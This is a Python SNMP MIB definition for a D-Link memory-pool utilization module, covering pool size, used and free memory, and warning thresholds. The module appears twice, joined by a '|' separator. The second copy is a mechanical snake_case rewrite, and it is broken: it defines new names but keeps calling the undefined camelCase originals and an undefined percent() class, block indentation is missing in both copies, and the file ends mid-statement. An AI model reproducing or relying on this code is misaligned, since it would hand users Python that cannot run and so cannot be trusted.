ValueRangeConstraint, ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ConstraintsUnion", "ValueSizeConstraint", "SingleValueConstraint", "ConstraintsIntersection")
myMgmt, = mibBuilder.importSymbols("MY-SMI", "myMgmt")
ModuleCompliance, NotificationGroup, ObjectGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup", "ObjectGroup")
MibScalar, MibTable, MibTableRow, MibTableColumn, Unsigned32, ObjectIdentity, Gauge32, NotificationType, TimeTicks, IpAddress, ModuleIdentity, iso, Bits, Counter64, Counter32, MibIdentifier, Integer32 = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Unsigned32", "ObjectIdentity", "Gauge32", "NotificationType", "TimeTicks", "IpAddress", "ModuleIdentity", "iso", "Bits", "Counter64", "Counter32", "MibIdentifier", "Integer32")
TruthValue, DisplayString, TextualConvention, RowStatus = mibBuilder.importSymbols("SNMPv2-TC", "TruthValue", "DisplayString", "TextualConvention", "RowStatus")
myMemoryMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35))
myMemoryMIB.setRevisions(('2003-10-14 00:00',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: myMemoryMIB.setRevisionsDescriptions(('Initial version of this MIB module.',))
if mibBuilder.loadTexts: myMemoryMIB.setLastUpdated('200310140000Z')
if mibBuilder.loadTexts: myMemoryMIB.setOrganization('D-Link Crop.')
if mibBuilder.loadTexts: myMemoryMIB.setContactInfo(' http://support.dlink.com')
if mibBuilder.loadTexts: myMemoryMIB.setDescription('This module defines my system mibs.')
class Percent(TextualConvention, Integer32):
description = 'An integer that is in the range of a percent value.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 100)
myMemoryPoolMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1))
myMemoryPoolUtilizationTable = MibTable((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1), )
if mibBuilder.loadTexts: myMemoryPoolUtilizationTable.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUtilizationTable.setDescription('A table of memory pool utilization entries. Each of the objects provides a general idea of how much of the memory pool has been used over a given period of time.')
myMemoryPoolUtilizationEntry = MibTableRow((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1), ).setIndexNames((0, "MY-MEMORY-MIB", "myMemoryPoolIndex"))
if mibBuilder.loadTexts: myMemoryPoolUtilizationEntry.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUtilizationEntry.setDescription('An entry in the memory pool utilization table.')
myMemoryPoolIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolIndex.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolIndex.setDescription('An index that uniquely represents a Memory Pool.')
myMemoryPoolName = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolName.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolName.setDescription('A textual name assigned to the memory pool. This object is suitable for output to a human operator')
myMemoryPoolCurrentUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 3), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolCurrentUtilization.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolCurrentUtilization.setDescription('This is the memory pool utilization currently.')
myMemoryPoolLowestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 4), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolLowestUtilization.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolLowestUtilization.setDescription('This is the memory pool utilization when memory used least.')
myMemoryPoolLargestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 5), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolLargestUtilization.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolLargestUtilization.setDescription('This is the memory pool utilization when memory used most.')
myMemoryPoolSize = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolSize.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolSize.setDescription('This is the size of physical memory .')
myMemoryPoolUsed = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolUsed.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUsed.setDescription('This is the memory size that has been used.')
myMemoryPoolFree = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolFree.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolFree.setDescription('This is the memory size that is free.')
myMemoryPoolWarning = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 9), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myMemoryPoolWarning.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolWarning.setDescription('The first warning of memory pool.')
myMemoryPoolCritical = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 10), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myMemoryPoolCritical.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolCritical.setDescription('The second warning of memory pool.')
myNodeMemoryPoolTable = MibTable((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2), )
if mibBuilder.loadTexts: myNodeMemoryPoolTable.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolTable.setDescription("A table of node's memory pool utilization entries. Each of the objects provides a general idea of how much of the memory pool has been used over a given period of time.")
myNodeMemoryPoolEntry = MibTableRow((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1), ).setIndexNames((0, "MY-MEMORY-MIB", "myNodeMemoryPoolIndex"))
if mibBuilder.loadTexts: myNodeMemoryPoolEntry.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolEntry.setDescription("An entry in the node's memory pool utilization table.")
myNodeMemoryPoolIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolIndex.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolIndex.setDescription("An index that uniquely represents a node's Memory Pool.")
myNodeMemoryPoolName = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolName.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolName.setDescription("A textual name assigned to the node's memory pool. This object is suitable for output to a human operator")
myNodeMemoryPoolCurrentUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 3), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolCurrentUtilization.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolCurrentUtilization.setDescription("This is the node's memory pool utilization currently.")
myNodeMemoryPoolLowestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 4), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolLowestUtilization.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolLowestUtilization.setDescription("This is the node's memory pool utilization when memory used least.")
myNodeMemoryPoolLargestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 5), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolLargestUtilization.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolLargestUtilization.setDescription("This is the node's memory pool utilization when memory used most.")
myNodeMemoryPoolSize = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolSize.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolSize.setDescription("This is the size of the node's physical memory .")
myNodeMemoryPoolUsed = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolUsed.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolUsed.setDescription("This is the node's memory size that has been used.")
myNodeMemoryPoolFree = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolFree.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolFree.setDescription("This is the node's memory size that is free.")
myNodeMemoryPoolWarning = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 9), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myNodeMemoryPoolWarning.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolWarning.setDescription("This is the first warning of the node's memory.")
myNodeMemoryPoolCritical = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 10), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myNodeMemoryPoolCritical.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolCritical.setDescription("This is the second warning of the node's memory.")
myMemoryMIBConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2))
myMemoryMIBCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 1))
myMemoryMIBGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2))
myMemoryMIBCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 1, 1)).setObjects(("MY-MEMORY-MIB", "myMemoryPoolUtilizationMIBGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
myMemoryMIBCompliance = myMemoryMIBCompliance.setStatus('current')
if mibBuilder.loadTexts: myMemoryMIBCompliance.setDescription('The compliance statement for entities which implement the My Memory MIB')
myMemoryPoolUtilizationMIBGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2, 1)).setObjects(("MY-MEMORY-MIB", "myMemoryPoolIndex"), ("MY-MEMORY-MIB", "myMemoryPoolName"), ("MY-MEMORY-MIB", "myMemoryPoolCurrentUtilization"), ("MY-MEMORY-MIB", "myMemoryPoolLowestUtilization"), ("MY-MEMORY-MIB", "myMemoryPoolLargestUtilization"), ("MY-MEMORY-MIB", "myMemoryPoolSize"), ("MY-MEMORY-MIB", "myMemoryPoolUsed"), ("MY-MEMORY-MIB", "myMemoryPoolFree"), ("MY-MEMORY-MIB", "myMemoryPoolWarning"), ("MY-MEMORY-MIB", "myMemoryPoolCritical"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
myMemoryPoolUtilizationMIBGroup = myMemoryPoolUtilizationMIBGroup.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUtilizationMIBGroup.setDescription('A collection of objects providing memory pool utilization to a My agent.')
myNodeMemoryPoolMIBGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2, 2)).setObjects(("MY-MEMORY-MIB", "myNodeMemoryPoolIndex"), ("MY-MEMORY-MIB", "myNodeMemoryPoolName"), ("MY-MEMORY-MIB", "myNodeMemoryPoolCurrentUtilization"), ("MY-MEMORY-MIB", "myNodeMemoryPoolLowestUtilization"), ("MY-MEMORY-MIB", "myNodeMemoryPoolLargestUtilization"), ("MY-MEMORY-MIB", "myNodeMemoryPoolSize"), ("MY-MEMORY-MIB", "myNodeMemoryPoolUsed"), ("MY-MEMORY-MIB", "myNodeMemoryPoolFree"), ("MY-MEMORY-MIB", "myNodeMemoryPoolWarning"), ("MY-MEMORY-MIB", "myNodeMemoryPoolCritical"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
myNodeMemoryPoolMIBGroup = myNodeMemoryPoolMIBGroup.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolMIBGroup.setDescription("A collection of objects providing node's memory pool utilization to a My agent.")
mibBuilder.exportSymbols("MY-MEMORY-MIB", myNodeMemoryPoolCritical=myNodeMemoryPoolCritical, myNodeMemoryPoolName=myNodeMemoryPoolName, myMemoryMIBCompliance=myMemoryMIBCompliance, PYSNMP_MODULE_ID=myMemoryMIB, myMemoryMIB=myMemoryMIB, myNodeMemoryPoolFree=myNodeMemoryPoolFree, myMemoryPoolLowestUtilization=myMemoryPoolLowestUtilization, myMemoryPoolCurrentUtilization=myMemoryPoolCurrentUtilization, myNodeMemoryPoolUsed=myNodeMemoryPoolUsed, myMemoryPoolIndex=myMemoryPoolIndex, myMemoryPoolName=myMemoryPoolName, myNodeMemoryPoolCurrentUtilization=myNodeMemoryPoolCurrentUtilization, Percent=Percent, myNodeMemoryPoolWarning=myNodeMemoryPoolWarning, myMemoryMIBGroups=myMemoryMIBGroups, myMemoryPoolUsed=myMemoryPoolUsed, myNodeMemoryPoolLargestUtilization=myNodeMemoryPoolLargestUtilization, myNodeMemoryPoolEntry=myNodeMemoryPoolEntry, myMemoryPoolUtilizationTable=myMemoryPoolUtilizationTable, myMemoryPoolMIBObjects=myMemoryPoolMIBObjects, myMemoryMIBConformance=myMemoryMIBConformance, myMemoryPoolLargestUtilization=myMemoryPoolLargestUtilization, myMemoryPoolUtilizationMIBGroup=myMemoryPoolUtilizationMIBGroup, myNodeMemoryPoolSize=myNodeMemoryPoolSize, myMemoryPoolWarning=myMemoryPoolWarning, myMemoryPoolUtilizationEntry=myMemoryPoolUtilizationEntry, myMemoryPoolSize=myMemoryPoolSize, myMemoryPoolCritical=myMemoryPoolCritical, myMemoryPoolFree=myMemoryPoolFree, myNodeMemoryPoolLowestUtilization=myNodeMemoryPoolLowestUtilization, myNodeMemoryPoolIndex=myNodeMemoryPoolIndex, myNodeMemoryPoolTable=myNodeMemoryPoolTable, myNodeMemoryPoolMIBGroup=myNodeMemoryPoolMIBGroup, myMemoryMIBCompliances=myMemoryMIBCompliances)
| (integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(value_range_constraint, constraints_union, value_size_constraint, single_value_constraint, constraints_intersection) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueRangeConstraint', 'ConstraintsUnion', 'ValueSizeConstraint', 'SingleValueConstraint', 'ConstraintsIntersection')
(my_mgmt,) = mibBuilder.importSymbols('MY-SMI', 'myMgmt')
(module_compliance, notification_group, object_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup', 'ObjectGroup')
(mib_scalar, mib_table, mib_table_row, mib_table_column, unsigned32, object_identity, gauge32, notification_type, time_ticks, ip_address, module_identity, iso, bits, counter64, counter32, mib_identifier, integer32) = mibBuilder.importSymbols('SNMPv2-SMI', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'Unsigned32', 'ObjectIdentity', 'Gauge32', 'NotificationType', 'TimeTicks', 'IpAddress', 'ModuleIdentity', 'iso', 'Bits', 'Counter64', 'Counter32', 'MibIdentifier', 'Integer32')
(truth_value, display_string, textual_convention, row_status) = mibBuilder.importSymbols('SNMPv2-TC', 'TruthValue', 'DisplayString', 'TextualConvention', 'RowStatus')
my_memory_mib = module_identity((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35))
myMemoryMIB.setRevisions(('2003-10-14 00:00',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts:
myMemoryMIB.setRevisionsDescriptions(('Initial version of this MIB module.',))
if mibBuilder.loadTexts:
myMemoryMIB.setLastUpdated('200310140000Z')
if mibBuilder.loadTexts:
myMemoryMIB.setOrganization('D-Link Crop.')
if mibBuilder.loadTexts:
myMemoryMIB.setContactInfo(' http://support.dlink.com')
if mibBuilder.loadTexts:
myMemoryMIB.setDescription('This module defines my system mibs.')
class Percent(TextualConvention, Integer32):
description = 'An integer that is in the range of a percent value.'
status = 'current'
subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 100)
my_memory_pool_mib_objects = mib_identifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1))
my_memory_pool_utilization_table = mib_table((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1))
if mibBuilder.loadTexts:
myMemoryPoolUtilizationTable.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolUtilizationTable.setDescription('A table of memory pool utilization entries. Each of the objects provides a general idea of how much of the memory pool has been used over a given period of time.')
my_memory_pool_utilization_entry = mib_table_row((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1)).setIndexNames((0, 'MY-MEMORY-MIB', 'myMemoryPoolIndex'))
if mibBuilder.loadTexts:
myMemoryPoolUtilizationEntry.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolUtilizationEntry.setDescription('An entry in the memory pool utilization table.')
my_memory_pool_index = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolIndex.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolIndex.setDescription('An index that uniquely represents a Memory Pool.')
my_memory_pool_name = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 2), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolName.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolName.setDescription('A textual name assigned to the memory pool. This object is suitable for output to a human operator')
my_memory_pool_current_utilization = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 3), percent()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolCurrentUtilization.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolCurrentUtilization.setDescription('This is the memory pool utilization currently.')
my_memory_pool_lowest_utilization = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 4), percent()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolLowestUtilization.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolLowestUtilization.setDescription('This is the memory pool utilization when memory used least.')
my_memory_pool_largest_utilization = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 5), percent()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolLargestUtilization.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolLargestUtilization.setDescription('This is the memory pool utilization when memory used most.')
my_memory_pool_size = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 6), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolSize.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolSize.setDescription('This is the size of physical memory .')
my_memory_pool_used = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 7), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolUsed.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolUsed.setDescription('This is the memory size that has been used.')
my_memory_pool_free = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 8), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myMemoryPoolFree.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolFree.setDescription('This is the memory size that is free.')
my_memory_pool_warning = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 9), percent()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
myMemoryPoolWarning.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolWarning.setDescription('The first warning of memory pool.')
my_memory_pool_critical = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 10), percent()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
myMemoryPoolCritical.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolCritical.setDescription('The second warning of memory pool.')
my_node_memory_pool_table = mib_table((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2))
if mibBuilder.loadTexts:
myNodeMemoryPoolTable.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolTable.setDescription("A table of node's memory pool utilization entries. Each of the objects provides a general idea of how much of the memory pool has been used over a given period of time.")
my_node_memory_pool_entry = mib_table_row((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1)).setIndexNames((0, 'MY-MEMORY-MIB', 'myNodeMemoryPoolIndex'))
if mibBuilder.loadTexts:
myNodeMemoryPoolEntry.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolEntry.setDescription("An entry in the node's memory pool utilization table.")
my_node_memory_pool_index = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolIndex.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolIndex.setDescription("An index that uniquely represents a node's Memory Pool.")
my_node_memory_pool_name = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 2), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolName.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolName.setDescription("A textual name assigned to the node's memory pool. This object is suitable for output to a human operator")
my_node_memory_pool_current_utilization = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 3), percent()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolCurrentUtilization.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolCurrentUtilization.setDescription("This is the node's memory pool utilization currently.")
my_node_memory_pool_lowest_utilization = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 4), percent()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolLowestUtilization.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolLowestUtilization.setDescription("This is the node's memory pool utilization when memory used least.")
my_node_memory_pool_largest_utilization = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 5), percent()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolLargestUtilization.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolLargestUtilization.setDescription("This is the node's memory pool utilization when memory used most.")
my_node_memory_pool_size = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 6), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolSize.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolSize.setDescription("This is the size of the node's physical memory .")
my_node_memory_pool_used = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 7), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolUsed.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolUsed.setDescription("This is the node's memory size that has been used.")
my_node_memory_pool_free = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 8), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
myNodeMemoryPoolFree.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolFree.setDescription("This is the node's memory size that is free.")
my_node_memory_pool_warning = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 9), percent()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
myNodeMemoryPoolWarning.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolWarning.setDescription("This is the first warning of the node's memory.")
my_node_memory_pool_critical = mib_table_column((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 10), percent()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
myNodeMemoryPoolCritical.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolCritical.setDescription("This is the second warning of the node's memory.")
my_memory_mib_conformance = mib_identifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2))
my_memory_mib_compliances = mib_identifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 1))
my_memory_mib_groups = mib_identifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2))
my_memory_mib_compliance = module_compliance((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 1, 1)).setObjects(('MY-MEMORY-MIB', 'myMemoryPoolUtilizationMIBGroup'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
my_memory_mib_compliance = myMemoryMIBCompliance.setStatus('current')
if mibBuilder.loadTexts:
myMemoryMIBCompliance.setDescription('The compliance statement for entities which implement the My Memory MIB')
my_memory_pool_utilization_mib_group = object_group((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2, 1)).setObjects(('MY-MEMORY-MIB', 'myMemoryPoolIndex'), ('MY-MEMORY-MIB', 'myMemoryPoolName'), ('MY-MEMORY-MIB', 'myMemoryPoolCurrentUtilization'), ('MY-MEMORY-MIB', 'myMemoryPoolLowestUtilization'), ('MY-MEMORY-MIB', 'myMemoryPoolLargestUtilization'), ('MY-MEMORY-MIB', 'myMemoryPoolSize'), ('MY-MEMORY-MIB', 'myMemoryPoolUsed'), ('MY-MEMORY-MIB', 'myMemoryPoolFree'), ('MY-MEMORY-MIB', 'myMemoryPoolWarning'), ('MY-MEMORY-MIB', 'myMemoryPoolCritical'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
my_memory_pool_utilization_mib_group = myMemoryPoolUtilizationMIBGroup.setStatus('current')
if mibBuilder.loadTexts:
myMemoryPoolUtilizationMIBGroup.setDescription('A collection of objects providing memory pool utilization to a My agent.')
my_node_memory_pool_mib_group = object_group((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2, 2)).setObjects(('MY-MEMORY-MIB', 'myNodeMemoryPoolIndex'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolName'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolCurrentUtilization'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolLowestUtilization'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolLargestUtilization'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolSize'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolUsed'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolFree'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolWarning'), ('MY-MEMORY-MIB', 'myNodeMemoryPoolCritical'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
my_node_memory_pool_mib_group = myNodeMemoryPoolMIBGroup.setStatus('current')
if mibBuilder.loadTexts:
myNodeMemoryPoolMIBGroup.setDescription("A collection of objects providing node's memory pool utilization to a My agent.")
mibBuilder.exportSymbols('MY-MEMORY-MIB', myNodeMemoryPoolCritical=myNodeMemoryPoolCritical, myNodeMemoryPoolName=myNodeMemoryPoolName, myMemoryMIBCompliance=myMemoryMIBCompliance, PYSNMP_MODULE_ID=myMemoryMIB, myMemoryMIB=myMemoryMIB, myNodeMemoryPoolFree=myNodeMemoryPoolFree, myMemoryPoolLowestUtilization=myMemoryPoolLowestUtilization, myMemoryPoolCurrentUtilization=myMemoryPoolCurrentUtilization, myNodeMemoryPoolUsed=myNodeMemoryPoolUsed, myMemoryPoolIndex=myMemoryPoolIndex, myMemoryPoolName=myMemoryPoolName, myNodeMemoryPoolCurrentUtilization=myNodeMemoryPoolCurrentUtilization, Percent=Percent, myNodeMemoryPoolWarning=myNodeMemoryPoolWarning, myMemoryMIBGroups=myMemoryMIBGroups, myMemoryPoolUsed=myMemoryPoolUsed, myNodeMemoryPoolLargestUtilization=myNodeMemoryPoolLargestUtilization, myNodeMemoryPoolEntry=myNodeMemoryPoolEntry, 